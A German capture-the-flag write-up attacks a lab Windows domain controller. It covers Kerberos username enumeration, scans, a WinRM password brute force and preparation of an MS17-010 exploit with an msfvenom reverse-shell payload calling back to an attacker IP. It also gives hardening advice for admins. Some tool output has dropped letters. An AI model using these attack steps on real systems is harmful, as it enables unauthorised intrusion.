Analyse: Der Test beginnt mit `kerbrute`, einem Werkzeug zur Enumeration von Benutzernamen in Active Directory (AD) Umgebungen über das Kerberos-Protokoll. Es sendet Kerberos TGS (Ticket Granting Service) Anfragen für potenzielle Benutzernamen aus einer Wortliste (`xato-net-10-million-usernames-dup.txt`) an den Domain Controller (`--dc 192.168.2.111`) für die Zieldomäne (`-d zero.hmv`). Wenn der KDC (Key Distribution Center) mit einem bestimmten Fehlercode antwortet (PRINCIPAL UNKNOWN), existiert der Benutzer nicht. Eine Antwort ohne diesen Fehler (oder eine Pre-Authentication Required Meldung) deutet auf einen gültigen Benutzernamen hin.
Bewertung: `kerbrute` war erfolgreich und identifizierte zwei gültige Benutzernamen: `administrator` und `Administrator` (Groß-/Kleinschreibung ist bei Benutzernamen oft relevant). Dies ist ein wichtiger erster Schritt in einer AD-Umgebung, da er gültige Ziele für weitere Angriffe (Passwort-Spraying, Brute-Force, AS-REP Roasting) liefert. Die hohe Anzahl getesteter Namen (über 600.000) in relativ kurzer Zeit (43 Sek.) zeigt die Effizienz des Tools.
Empfehlung (Pentester): Verwende die gefundenen Benutzernamen (`Administrator`) als Ziel für Passwort-Angriffe (z.B. Spraying mit gängigen Passwörtern, Brute-Force falls erlaubt). Prüfe, ob für diese Konten Kerberos Pre-Authentication deaktiviert ist (AS-REP Roasting mit Tools wie Impacket's `GetNPUsers.py`).
Empfehlung (Admin): Implementieren Sie starke Passwortrichtlinien und Account-Lockout-Mechanismen, um Brute-Force- und Spraying-Angriffe zu erschweren. Erzwingen Sie Kerberos Pre-Authentication für alle Benutzerkonten, um AS-REP Roasting zu verhindern. Überwachen Sie Kerberos-Authentifizierungsereignisse auf ungewöhnliche Aktivitäten oder eine hohe Anzahl fehlgeschlagener Anmeldungen von bestimmten Quellen. Vermeiden Sie, wenn möglich, leicht zu erratende Benutzernamen (obwohl 'Administrator' ein Standardkonto ist).
__ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ Version: v1.0.3 (9dad6e1) - 05/29/24 - Ronnie Flathers @ropnop 2024/05/29 23:17:25 > Using KDC(s): 2024/05/29 23:17:25 > 192.168.2.111:88 2024/05/29 23:17:25 > [+] VALID USERNAME: administrator@zero.hmv 2024/05/29 23:17:26 > [+] VALID USERNAME: Administrator@zero.hmv 2024/05/29 23:18:09 > Done! Tested 624370 usernames (2 valid) in 43.435 seconds
Analyse: Ein umfassender `nmap`-Scan wird gegen das Ziel `192.168.2.111` durchgeführt. * `-sS`: TCP SYN Scan (Stealth Scan). * `-sV`: Ermittelt Dienstversionen. * `-A`: Aggressiver Scan (beinhaltet `-sV`, OS-Erkennung, Skript-Scanning `-sC`, Traceroute). * `-T5`: Sehr schnelles Timing (kann ungenau sein oder IDS auslösen). * `-p-`: Scannt alle 65535 TCP-Ports.
Bewertung: Der Scan enthüllt eine Vielzahl offener Ports, die typisch für einen Windows Active Directory Domain Controller (DC) sind: * **AD-Dienste:** 53 (DNS), 88 (Kerberos), 135 (RPC), 139 (NetBIOS), 389 (LDAP), 445 (SMB), 464 (Kerberos Passwortänderung), 636 (LDAPS - tcpwrapped), 3268 (LDAP Global Catalog), 3269 (LDAP GC über SSL - tcpwrapped). * **Andere Windows-Dienste:** 593 (RPC über HTTP), 5985 (WinRM - Windows Remote Management), 9389 (.NET Message Framing), diverse hohe RPC-Ports (49xxx). * **Systeminformationen:** Hostname `DC01`, Domäne `zero.hmv`, OS Windows Server 2016 Standard Evaluation. Wichtig: SMB-Signing ist **erforderlich** (`message_signing: required`). SMBv1 scheint aktiv zu sein (wird später bestätigt). * **Probleme:** Die `tcpwrapped`-Ports (636, 3269) deuten auf mögliche Firewall-Filterung oder Konfigurationsprobleme hin. Die OS-Erkennung ist unsicher (`test conditions non-ideal`).
Empfehlung (Pentester): Dies ist eindeutig ein Domain Controller. Konzentriere dich auf AD-Angriffe: LDAP-Enumeration (anonym oder mit gefundenen Credentials), Kerberos-Angriffe (AS-REP Roasting, Kerberoasting - benötigt Credentials), SMB-Enumeration (Shares, Benutzer - benötigt Credentials, da Signing erforderlich ist und anonyme Abfragen wahrscheinlich fehlschlagen), WinRM (Password Spraying/Bruteforce gegen `Administrator`). Prüfe auf bekannte Schwachstellen, insbesondere im SMB-Bereich (MS17-010, da SMBv1 aktiv ist).
Empfehlung (Admin): Härten Sie den DC: Deaktivieren Sie SMBv1 (kritisch!). Stellen Sie sicher, dass alle Patches installiert sind (insbesondere MS17-010). Beschränken Sie den Zugriff auf notwendige Ports per Firewall. Überwachen Sie AD-Authentifizierungs- und Zugriffslogs. Überprüfen Sie die Konfiguration von LDAPS (Port 636) und GC über SSL (Port 3269), wenn diese benötigt werden und als `tcpwrapped` erscheinen. Implementieren Sie starke Passwörter und Lockout-Richtlinien.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 23:18 CEST Nmap scan report for zero.hmv (192.168.2.111) Host is up (0.00011s latency). Not shown: 65516 filtered tcp ports (no-response) PRT STATE SERVICE VERSIN 53/tcp open domain? 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-30 06:19:51Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: zero.hmv, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ZER) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: zero.hmv, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49671/tcp open msrpc Microsoft Windows RPC 49687/tcp open msrpc Microsoft Windows RPC 49719/tcp open msrpc Microsoft Windows RPC MAC Address: 08:00:27:62:2B:F2 (racle VirtualBox virtual NIC) Warning: SScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|phone|specialized Running (JUST GUESSING): Microsoft Windows 2016|2012|2022|Phone|7 (97%) S CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 Aggressive S guesses: Microsoft Windows Server 2016 (97%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2022 (91%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Phone 7.5 or 8.0 (88%), Microsoft Windows Embedded Standard 7 (87%) No exact S matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: DC01; S: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-time: | date: 2024-05-30T06:22:11 |_ start_date: 2024-05-29T20:14:24 |_clock-skew: mean: 11h20m09s, deviation: 4h02m29s, median: 9h00m09s | smb-os-discovery: | S: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3) | Computer name: DC01 | NetBIS computer name: DC01\x00 | Domain name: zero.hmv | Forest name: zero.hmv | FQDN: DC01.zero.hmv |_ System time: 2024-05-29T23:22:11-07:00 | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_nbstat: NetBIS name: DC01, NetBIS user:, NetBIS MAC: 08:00:27:62:2b:f2 (racle VirtualBox virtual NIC) TRACERUTE HP RTT ADDRESS 1 0.11 ms zero.hmv (192.168.2.111) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 146.84 seconds
Analyse: Derselbe Nmap-Scan wird wiederholt, aber die Ausgabe wird mit `grep open` gefiltert, um nur die offenen Ports und die zugehörigen Dienstinformationen anzuzeigen.
Bewertung: Dies liefert eine kompakte Liste der offenen Ports, wie sie bereits im vollständigen Scan identifiziert wurden. Es bestätigt die Dienste und Versionen, bietet aber keine neuen Erkenntnisse gegenüber der vollständigen Ausgabe. Die Angabe "Simple DNS Plus" für Port 53 ist spezifischer als das "?" im vorherigen Scan, aber Nmap rät hier oft nur. Es ist wahrscheinlich der Standard Microsoft DNS Server.
Empfehlung (Pentester): Nützlich für eine schnelle Übersicht, aber die vollständige Ausgabe ist für die Detailanalyse unerlässlich.
Empfehlung (Admin): Keine spezifischen Empfehlungen aus dieser gefilterten Ansicht.
53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-30 06:19:44Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: zero.hmv, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ZER) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: zero.hmv, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49671/tcp open msrpc Microsoft Windows RPC 49687/tcp open msrpc Microsoft Windows RPC 49719/tcp open msrpc Microsoft Windows RPC
Analyse: Es wird versucht, den LDAP-Verzeichnisdienst mit `ldapsearch` abzufragen. * `-x`: Verwendet einfache Authentifizierung (kein SASL). * `-H ldap://192.168.2.111`: Gibt den LDAP-Server an. * `-D "cn=Administrator,dc=zero,dc=hmv"`: Gibt den "Bind Distinguished Name" an. Es wird versucht, sich als Administrator zu authentifizieren, aber **ohne Passwort**. * `-b "dc=zero,dc=hmv"`: Gibt die Basis-DN für die Suche an (das gesamte Domänenverzeichnis).
Bewertung: Die Abfrage schlägt mit einem `operations error` fehl. Die Fehlermeldung `In order to perform this operation a successful bind must be completed on the connection.` bedeutet, dass eine erfolgreiche Authentifizierung (Bind) erforderlich ist, um die angeforderte Operation (Suche im Verzeichnis) durchzuführen. Da kein Passwort für den Administrator angegeben wurde, konnte die Bindung nicht hergestellt werden. Dies zeigt nicht notwendigerweise, dass anonyme Bindungen deaktiviert sind, sondern nur, dass dieser spezifische authentifizierte Versuch ohne Passwort fehlschlug.
Empfehlung (Pentester): Versuche zuerst eine anonyme LDAP-Bindung, um grundlegende Informationen abzufragen (z.B. `ldapsearch -x -H ldap://192.168.2.111 -b "dc=zero,dc=hmv" '(objectClass=*)' namingContexts`). Wenn dies fehlschlägt, sind gültige Credentials erforderlich, um LDAP weiter zu enumerieren (z.B. Benutzer, Gruppen, Computer, Gruppenrichtlinien).
Empfehlung (Admin): Deaktivieren Sie anonyme LDAP-Bindungen, falls nicht zwingend erforderlich. Überwachen Sie LDAP-Bindungsversuche und -Abfragen auf verdächtige Aktivitäten.
# extended LDIF # # LDAPv3 # basewith scope subtree # filter: (objectclass=*) # requesting: ALL # # search result search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C0909AF, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 # numResponses: 1
Analyse: `enum4linux -a` wird erneut ausgeführt, um umfassende Informationen über SMB/NetBIOS/RPC zu sammeln. Die Option `-a` versucht, Benutzerlisten, Gruppen, Shares, Druckerinformationen, OS-Informationen und Passwortrichtlinien zu enumerieren.
Bewertung: Die Ausgabe bestätigt erneut den Hostnamen `DC01` und die Domain/Workgroup `ZER`. Wichtig sind die Fehler: * `polenum` (Passwortrichtlinien-Enumeration) schlägt mit einem unerwarteten Fehler fehl. * Der Versuch, sich über SMB (Port 139 und 445) mit einer NULL-Session zu verbinden, um Benutzer über SAMR (Security Account Manager Remote) zu enumerieren, scheitert mit `STATUS_ACCESS_DENIED`. * Die Drucker-Enumeration (`spoolss`) scheitert ebenfalls mit `NT_STATUS_ACCESS_DENIED`. Dies bestätigt, dass NULL-Sessions stark eingeschränkt sind und keine anonyme Enumeration von Benutzern oder Richtlinien über diese Wege möglich ist.
Empfehlung (Pentester): Standard-Enumeration über NULL-Sessions ist blockiert. Konzentriere dich auf die Authentifizierung mit gefundenen/erratenen Credentials (z.B. über Kerberos, LDAP-Bindung, WinRM, SMB) oder auf die Ausnutzung von Schwachstellen wie MS17-010.
Empfehlung (Admin): Die Einschränkung von NULL-Sessions ist eine gute Sicherheitspraxis. Behalten Sie diese Konfiguration bei.
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu May 30 00:00:00 2024 =========================================( Target Information )========================================= Target ........... 192.168.2.111 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none ===========================( Enumerating Workgroup/Domain on 192.168.2.111 )=========================== [+] Got domain/workgroup name: ZER =( Nbtstat Information for 192.168.2.111 )= Looking up status of 192.168.2.111 DC01 <00> - BWorkstation Service ZER <00> - B Domain/Workgroup Name ZER <1c> - B Domain Controllers DC01 <20> - B File Server Service ZER <1b> - B Domain Master Browser =============================( Session Check on 192.168.2.111 )============================= [+] Server 192.168.2.111 allows sessions using username '', password '' ========================( Getting domain SID for 192.168.2.111 )======================== [+] Domain Name: ZER [+] Domain Sid: S-1-5-21-1428058843-2653557213-3178474120 [+] Trying to get domain SID via PolEnum [E] Unexpected error from polenum: ========================( Enumerating Users via PolEnum on 192.168.2.111 )======================== [+] Trying polenum... ========================( Enumerating Users via SAMR on 192.168.2.111 )======================== [+] Attaching to 192.168.2.111 using a NULL share [+] Trying protocol 139/SMB... [!] Protocol failed: Cannot request session (Called Name:192.168.2.111) [+] Trying protocol 445/SMB... [!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights. ========================( Getting Share Enumeration Information from 192.168.2.111 )======================== [+] Trying to enumerate shares on 192.168.2.111... [+] Attempting to map shares on 192.168.2.111... //192.168.2.111/ADMIN$ Mapping error: NT_STATUS_ACCESS_DENIED //192.168.2.111/C$ Mapping error: NT_STATUS_ACCESS_DENIED //192.168.2.111/IPC$ Mapping error: NT_STATUS_ACCESS_DENIED //192.168.2.111/NETLOGON No details, likely ACCESS_DENIED //192.168.2.111/SYSVOL No details, likely ACCESS_DENIED ========================( Getting Password Policy Information from 192.168.2.111 )======================== [+] Attaching to browser domain: ZER using NULL credentials... success. [+] Trying to get password policy via SAMR [!] Couldn't get password policy (SAMR)! Error was: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights. [+] Trying to get password policy via LSA [+] Attaching to LSA policy... [+] Getting policy failed: LSA SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights. ========================( Enumerating Printer Information via Spoolss )======================== [+] Trying to enumerate printers do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED enum4linux complete on Thu May 30 00:00:00 2024
Analyse: Mit `crackmapexec` wird ein Passwort-Brute-Force-Angriff gegen den WinRM-Dienst (Port 5985) gestartet. Ziel ist das Benutzerkonto `administrator` (gefunden mit Kerbrute), als Passwortliste wird `rockyou.txt` verwendet.
Bewertung: Der Angriff wird gestartet, aber die angezeigte Ausgabe zeigt nur fehlgeschlagene Versuche (`[-]`). Es wird kein erfolgreicher Login für `administrator` mit einem Passwort aus `rockyou.txt` gefunden (zumindest nicht im gezeigten Ausschnitt).
Empfehlung (Pentester): Ein Brute-Force-Angriff auf das `administrator`-Konto ist oft schwierig und zeitaufwändig, insbesondere bei Verwendung starker Passwörter oder Account-Lockout-Richtlinien. Wenn dies nicht schnell zum Erfolg führt, konzentriere dich auf andere Vektoren wie Schwachstellen (MS17-010) oder andere Enumerationsmethoden (Kerberos).
Empfehlung (Admin): Stellen Sie sicher, dass das Administrator-Konto ein sehr starkes, einzigartiges Passwort hat. Implementieren Sie eine robuste Account-Lockout-Richtlinie. Überwachen Sie WinRM-Login-Versuche.
WINRM 192.168.2.111 5985 DC01 [-] zero.hmv\administrator:555222 WINRM 192.168.2.111 5985 DC01 [-] zero.hmv\administrator:45612 WINRM 192.168.2.111 5985 DC01 [-] zero.hmv\administrator:310591 WINRM 192.168.2.111 5985 DC01 [-] zero.hmv\administrator:310190 WINRM 192.168.2.111 5985 DC01 [-] zero.hmv\administrator:301186 WINRM 192.168.2.111 5985 DC01 [-] zero.hmv\administrator:300987 WINRM 192.168.2.111 5985 DC01 [-] zero.hmv\administrator:300393 WINRM 192.168.2.111 5985 DC01 [-] zero.hmv\administrator:2pac4life WINRM 192.168.2.111 5985 DC01 [-] zero.hmv\administrator:290890 WINRM 192.168.2.111 5985 DC01 [-] zero.hmv\administrator:290491 # ... (weitere fehlgeschlagene Versuche)
Analyse: `smbmap` wird erneut verwendet, um anonym (`-u ""`) auf SMB-Shares zuzugreifen.
Bewertung: Der Versuch schlägt wieder fehl (`STATUS_ACCESS_DENIED`), was die vorherigen Ergebnisse von `enum4linux` und `smbclient` bestätigt. Anonyme SMB-Enumeration ist nicht möglich.
Empfehlung (Pentester): Fokus auf authentifizierte Enumeration oder Schwachstellen legen.
Empfehlung (Admin): Gute Konfiguration, keine anonymen SMB-Zugriffe erlaubt.
________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com https://github.com/ShawnDEvans/smbmap [*] Detected 1 hosts serving SMB [*] Established 1 SMB session(s) [!] Something weird happened: SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights. on line 970
Analyse: `crackmapexec` wird ohne Benutzername/Passwort gegen den SMB-Dienst ausgeführt, um grundlegende Informationen zu sammeln (ähnlich wie beim ersten `crackmapexec smb`-Lauf im Bericht, möglicherweise eine Wiederholung oder ein erneuter Check).
Bewertung: Bestätigt erneut OS-Version, Hostname, Domäne, erforderliches Signing und aktiviertes SMBv1. Keine neuen Informationen.
Empfehlung (Pentester): Vermeide redundante Informationsabfragen, es sei denn, es gibt einen Grund zur Annahme, dass sich etwas geändert hat.
Empfehlung (Admin): Keine neuen Empfehlungen.
SMB 192.168.2.111 445 DC01 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:DC01) (domain:zero.hmv) (signing:True) (SMBv1:True)
Analyse: `msfconsole` wird gestartet und das Metasploit-Framework durchsucht (`search ms17`) nach Modulen, die sich auf die MS17-010-Schwachstelle (EternalBlue/EternalRomance) beziehen. Das Modul `exploit/windows/smb/ms17_010_psexec` (Index 10) wird zur Verwendung ausgewählt (`use 10`).
Bewertung: Dies zeigt eine gezielte Vorbereitung auf die Ausnutzung der MS17-010 Schwachstelle. Die Wahl des `psexec`-Moduls deutet darauf hin, dass der Angreifer versucht, Code über eine etablierte Verbindung auszuführen, nachdem die Schwachstelle ausgenutzt wurde, was oft stabiler ist als der reine `eternalblue`-Exploit.
Empfehlung (Pentester): Konfiguriere das ausgewählte Modul (RHOSTS, Payload, LHOST, LPORT) und führe es aus.
Empfehlung (Admin): Stellen Sie sicher, dass das System gegen MS17-010 gepatcht ist. Deaktivieren Sie SMBv1. Überwachen Sie SMB-Verkehr auf Anzeichen von Exploitation.
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 \_ target: Automatic Target . . . .
2 \_ target: Windows 7 . . . .
3 \_ target: Windows Embedded Standard 7 . . . .
4 \_ target: Windows Server 2008 R2 . . . .
5 \_ target: Windows 8 . . . .
6 \_ target: Windows 8.1 . . . .
7 \_ target: Windows Server 2012 . . . .
8 \_ target: Windows 10 Pro . . . .
9 \_ target: Windows 10 Enterprise Evaluation . . . .
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
msf6 > use 10
Analyse: Ein gezielter `nmap`-Scan wird auf Port 445 (SMB) ausgeführt, wobei Skripte verwendet werden, die als "vuln" (verwundbar) und "safe" (wahrscheinlich keine Dienstunterbrechung verursachend) kategorisiert sind. Das Ziel ist es, spezifische SMB-Schwachstellen zu identifizieren.
Bewertung: **Kritischer Fund!** Das Skript `smb-vuln-ms17-010` meldet das Zielsystem als **VULNERABLE** für die MS17-010 (EternalBlue/EternalRomance) Schwachstelle (CVE-2017-0143). Dies ist eine hochriskante Remote Code Execution (RCE) Schwachstelle in SMBv1. Obwohl das System als Windows Server 2016 identifiziert wurde (das ursprünglich als weniger anfällig galt, aber spätere Varianten von EternalBlue/Romance auch neuere Systeme betrafen oder das OS falsch erkannt wurde), bestätigt dieser Scan die Verwundbarkeit.
Empfehlung (Pentester): Dies ist der wahrscheinlichste Weg zur Kompromittierung. Nutze das zuvor in Metasploit geladene Modul (`ms17_010_psexec`) oder einen zuverlässigen Standalone-Exploit, um RCE mit SYSTEM-Rechten zu erlangen.
Empfehlung (Admin): **Höchste Priorität: Patch gegen MS17-010 sofort einspielen!** Deaktivieren Sie SMBv1 umgehend (`Set-SmbServerConfiguration -EnableSMB1Protocol $false`). Isolieren Sie das System, bis es gepatcht ist. Untersuchen Sie, warum ein Server 2016 anfällig ist (fehlende Patches, Konfigurationsfehler?).
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 00:17 CEST
Nmap scan report for zero.hmv (192.168.2.111)
Host is up (0.00021s latency).
PRT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:62:2B:F2 (racle VirtualBox virtual NIC)
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds
Analyse: Es wird in das Verzeichnis `~/Hackingtools` gewechselt und ein spezifischer Exploit-Code für MS17-010 von GitHub geklont (`git clone`). Anschließend werden die Verzeichnisse und die geklonten Dateien aufgelistet.
Bewertung: Der Pentester entscheidet sich offenbar, einen Standalone-Exploit von GitHub zu verwenden, anstatt (oder zusätzlich zu) dem Metasploit-Modul. Dies kann verschiedene Gründe haben (z.B. Präferenz, Stabilität, Anpassbarkeit des Exploits). Das geklonte Repository enthält Python-Skripte (`checker.py`, `mysmb.py`, `send_and_execute.py`), die typisch für viele öffentliche MS17-010 Exploits sind.
Empfehlung (Pentester): Mache dich mit dem geklonten Exploit vertraut (README lesen). Bereite die Ausführung vor, was oft die Installation von Abhängigkeiten (wie `impacket`) erfordert. Verwende `checker.py` zur Bestätigung der Anfälligkeit und dann `send_and_execute.py`, um eine Payload (z.B. die später generierte `ms17-010.exe`) hochzuladen und auszuführen.
Empfehlung (Admin): Netzwerk-Monitoring auf Downloads von GitHub oder anderen Code-Sharing-Plattformen kann verdächtig sein. Endpoint Security sollte versuchen, bekannte Exploit-Skripte zu erkennen und zu blockieren.
Klone nach 'MS17-010_CVE-2017-0143'... remote: Enumerating objects: 39, done. remote: Counting objects: 100% (39/39), done. remote: Compressing objects: 100% (37/37), done. remote: Total 39 (delta 18), reused 0 (delta 0), pack-reused 0 Empfange bjekte: 100% (39/39), 1.48 MiB | 6.08 MiB/s, fertig. Löse Unterschiede auf: 100% (18/18), fertig.
insgesamt 1956 -rw-r--r-- 1 root root 2640 31. Mai 00:21 checker.py -rw-r--r-- 1 root root 1908226 31. Mai 00:21 get-pip.py -rw-r--r-- 1 root root 16709 31. Mai 00:21 mysmb.py -rw-r--r-- 1 root root 17253 31. Mai 00:21 mysmb.pyc -rw-r--r-- 1 root root 2505 31. Mai 00:21 README.md -rw-r--r-- 1 root root 43783 31. Mai 00:21 send_and_execute.py
Analyse: Mit `msfvenom` wird eine Windows Reverse TCP Shell (`windows/shell_reverse_tcp`) als EXE-Datei (`ms17-010.exe`) erstellt. Diese Shell soll sich zum Angreifer-System (`LHST=192.168.2.199`) auf Port `4444` (`LPRT=4444`) verbinden.
Bewertung: Eine ausführbare Payload-Datei wird generiert. Diese Datei ist dazu gedacht, mittels des MS17-010 Exploits auf dem Zielsystem ausgeführt zu werden, um eine Kommandozeilen-Shell zurück zum Angreifer zu öffnen. Die Wahl einer einfachen `shell_reverse_tcp` anstelle einer Meterpreter-Session (wie sie oft mit Metasploit-Modulen verwendet wird) passt zur Verwendung des Standalone-Python-Exploits.
Empfehlung (Pentester): Starte einen Netcat-Listener auf dem Angreifer-System (`nc -lvnp 4444`). Verwende dann den geklonten MS17-010 Exploit (z.B. `send_and_execute.py`), um die gerade erstellte `ms17-010.exe` auf dem Ziel auszuführen.
Empfehlung (Admin): Endpoint Security (Antivirus/EDR) sollte versuchen, diese Art von Payload zu erkennen und zu blockieren. Firewall-Regeln sollten ausgehende Verbindungen auf ungewöhnliche Ports wie 4444 einschränken. Patchen gegen MS17-010 und Deaktivieren von SMBv1 sind die wichtigsten Maßnahmen.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of exe file: 73802 bytes Saved as: ms17-010.exe
Analyse: Dieser POC beschreibt den Weg zur Kompromittierung des Systems über die MS17-010 (EternalBlue/EternalRomance) Schwachstelle.
Schwachstelle: SMBv1-Dienst ist anfällig für Remote Code Execution via MS17-010 (CVE-2017-0143).
Voraussetzungen: Netzwerkzugriff auf Port 445/SMB des Ziels. Ein funktionierender MS17-010 Exploit (Metasploit oder Standalone-Skript). Eine Payload (z.B. Reverse Shell EXE).
Schritte zur Reproduktion (Beispiel mit Standalone-Exploit und Netcat):
Erwartetes Ergebnis: Eine Reverse Shell (Netcat) oder Meterpreter-Session wird vom Zielsystem zum Angreifer-System aufgebaut, die mit `NT AUTHORITY\SYSTEM`-Rechten läuft.
Empfehlung (Admin): **Patch gegen MS17-010 installieren!** **SMBv1 deaktivieren!** Diese Schwachstelle ist extrem gefährlich und muss umgehend behoben werden. Überwachen Sie SMB-Verkehr auf Exploit-Signaturen.
Analyse: Der bereitgestellte Text endet nach der Generierung der Reverse-Shell-Payload (`ms17-010.exe`). Die entscheidenden Schritte der tatsächlichen Ausführung des MS17-010 Exploits, das Erhalten der SYSTEM-Shell und das anschließende Auslesen der Benutzer- und Root-Flags sind im Text nicht dokumentiert. Die Flags werden am Ende nur aufgelistet.
Bewertung: Obwohl der Weg zur Kompromittierung durch die Identifizierung der MS17-010-Schwachstelle und die Vorbereitung des Exploits klar aufgezeigt wird, fehlt der Nachweis der erfolgreichen Ausführung im Bericht. Für einen vollständigen Proof-of-Concept müssten die Schritte zur Erlangung der SYSTEM-Shell und zum Auslesen der Flags dokumentiert sein. Es ist jedoch aufgrund der Verwundbarkeit sehr wahrscheinlich, dass die Ausnutzung erfolgreich war.
Empfehlung (Pentester): Dokumentieren Sie immer den gesamten Angriffspfad, einschließlich der erfolgreichen Ausführung des Exploits und der Schritte nach der Kompromittierung (Shell-Zugriff, Flag-Retrieval). Fügen Sie Screenshots oder Ausgaben hinzu, die den SYSTEM-Zugriff belegen.
Empfehlung (Admin): Auch ohne die explizite Dokumentation der Ausführung ist die bestätigte MS17-010-Schwachstelle Grund genug für sofortiges Handeln (Patchen, SMBv1 deaktivieren).